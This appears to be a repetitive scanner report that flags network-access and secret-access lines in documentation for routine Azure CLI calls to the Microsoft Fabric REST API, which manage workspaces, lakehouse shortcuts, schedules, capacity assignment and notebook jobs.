# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
